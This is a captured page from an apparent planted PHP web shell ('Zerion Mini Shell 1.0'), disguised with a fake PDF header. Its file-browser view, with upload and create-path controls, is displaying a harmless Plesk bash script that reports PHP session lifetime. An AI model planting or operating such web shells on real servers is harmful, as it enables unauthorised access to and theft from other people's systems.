%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib64/plesk-9.0/
Upload File :
Create Path :
Current File : //lib64/plesk-9.0/maxlifetime

#!/bin/bash
set -e

max=1440

update_max_lifetime()
{
	local php_bin="$1"
	local php_ini_path="$2"
	local php_ini_scan_dir="$3"

	[ -e  "$php_bin" ] || return 0
	[ -e  "$php_ini_path" ] || return 0

	local cur=$(env "PHP_INI_SCAN_DIR=$php_ini_scan_dir" "$php_bin" -c "$php_ini_path" -r 'error_reporting(0); echo ini_get("session.gc_maxlifetime");' 2>/dev/null)
	[ ! "${cur:-0}" -gt "$max" ] || max="$cur"
}


update_max_lifetime "/usr/bin/php" "/etc/php.ini" "/etc/php.d"


# check Plesk php as well
if [ -d /opt/plesk/php ] ; then
	for d in `find /opt/plesk/php/ -mindepth 1 -maxdepth 1 -type d`; do
		update_max_lifetime "$d/bin/php" "$d/etc/php.ini" "$d/etc/php.d"
	done
fi

echo $(($max/60))

Zerion Mini Shell 1.0